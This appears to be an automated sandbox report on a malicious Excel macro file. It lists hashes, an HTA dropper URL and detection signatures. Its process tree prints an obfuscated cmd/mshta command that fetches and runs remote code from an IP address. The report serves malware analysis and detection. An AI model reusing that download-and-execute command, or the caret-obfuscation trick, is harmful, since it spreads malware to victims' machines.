e95a1d9f8651d516e59ddffadc5fd94a499b888077d6cc60ee5cc1b95c1f91e7

General

Target

?i=1hepntjsk.xlsm
Size

110KB
MD5

a3c1eee45b2ee65f5f0fda091c3b9bfe
SHA1

1bd37dfba56924ab73ce9f6da17a946715b6a76a
SHA256

e95a1d9f8651d516e59ddffadc5fd94a499b888077d6cc60ee5cc1b95c1f91e7
SHA512

ec072cf278b55e4b5e283ebb49aacf924cda7e83a2004c84264a4b1d47b3fb280b6313740fd77df2ac59f007a8f4535f5219a010b1d02a7dd1718f39eca3359e

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://46.105.81.76/c.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4672	4380	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

48 3484 mshta.exe

flow	pid	process
48	3484	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4380 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE
4380	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4380 wrote to memory of 4672	4380	EXCEL.EXE	cmd.exe
PID 4380 wrote to memory of 4672	4380	EXCEL.EXE	cmd.exe
PID 4672 wrote to memory of 3484	4672	cmd.exe	mshta.exe
PID 4672 wrote to memory of 3484	4672	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1hepntjsk.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\system32\mshta.exe
    mshta http://0056.0151.0121.0114/c.html
    3⤵
    - Blocklisted process makes network request
    PID:3484

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3484-138-0x0000000000000000-mapping.dmp

Download
memory/4380-136-0x00007FFB3EDB0000-0x00007FFB3EDC0000-memory.dmp

Filesize
64KB

Download
memory/4380-132-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-133-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-134-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-135-0x00007FFB3EDB0000-0x00007FFB3EDC0000-memory.dmp

Filesize
64KB

Download
memory/4380-130-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-131-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-141-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-142-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-143-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4380-144-0x00007FFB41170000-0x00007FFB41180000-memory.dmp

Filesize
64KB

Download
memory/4672-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads